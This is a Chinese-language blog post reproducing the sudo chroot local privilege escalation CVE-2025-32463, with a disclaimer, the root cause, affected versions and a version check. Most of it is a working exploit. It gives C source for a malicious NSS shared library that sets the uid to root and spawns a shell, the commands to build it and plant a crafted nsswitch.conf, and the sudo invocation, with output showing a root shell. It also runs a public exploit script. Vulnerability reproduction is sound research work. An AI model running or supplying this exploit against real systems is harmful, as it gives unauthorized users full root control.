Linux sudo chroot本地提权漏洞(CVE-2025-32463)复现

免责声明

本文所述漏洞复现方法仅供安全研究及授权测试使用;

任何个人/组织须在合法合规前提下实施,严禁用于非法目的;

作者不对任何滥用行为及后果负责,如发现新漏洞请及时联系厂商并遵循漏洞披露规则。

漏洞原理

Linux sudo chroot 是 Linux 系统中用于更改进程根目录的命令,通过指定新根目录来限制用户访问权限,常用于安全隔离、系统恢复和软件测试等场景

Linux sudo chroot 权限提升漏洞(CVE-2025-32463)源于本地低权限用户通过特制的恶意chroot 环境触发动态库加载,从而以root 权限执行任意代码

sudo的-R( --chroot) 选项旨在允许用户在 sudoers 文件允许的情况下,使用用户选择的根目录运行命令

sudo 1.9.14 版本进行了一项更改,它在读取 sudoers 配置文件之前,就开始在 chroot 环境中解析路径,攻击者可以通过在用户指定的根目录下创建/etc/nsswitch.conf文件,诱骗 sudo加载任意共享库

影响版本

1.9.14 <= sudo <= 1.9.17

注意:Sudo 的旧版本(当前<= 1.8.32)不易受到攻击,因为不存在chroot功能

PoC

执行:

pwn ~ $ sudo -R woot woot

如果存在漏洞将返回:

sudo: woot: No such file or directory

如果为漏洞已修复版本将返回:

[sudo] password for pwn:
sudo: you are not permitted to use the -R option with woot

漏洞复现

1. 环境搭建

  1. git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
  2. cd CVE-2025-32463_chwoot
  3. 执行./run.sh构建并运行Docker镜像

2. 漏洞复现

2.1. 不直接使用EXP
2.1.1. 创建恶意共享库

没有vi等编辑器可以直接用cat写入文件

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0); // root uid
  setregid(0,0); // root gid
  chdir("/");
  execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);
}
EOF

编译为共享库

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
2.1.2. 配置nsswitch.conf
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
2.1.3. Exploit
sudo -R woot woot
  1. 切换根目录至woot
  2. 加载libnss_/woot1337.so.2
  3. 恶意库执行命令,获得root shell

2.2. 直接利用EXP

EXP已经披露,就放置在当前home目录下,可以直接执行

  • 以root权限执行命令  ./sudo-chwoot.sh id
pwn@5e57d3e9f134:~$ ./sudo-chwoot.sh id
woot!
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
  • 进入root shell  ./sudo-chwoot.sh
pwn@5e57d3e9f134:~$ ./sudo-chwoot.sh
woot!
root@5e57d3e9f134:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
root@5e57d3e9f134:/#

防御措施

升级到漏洞修复版本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Neolock

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值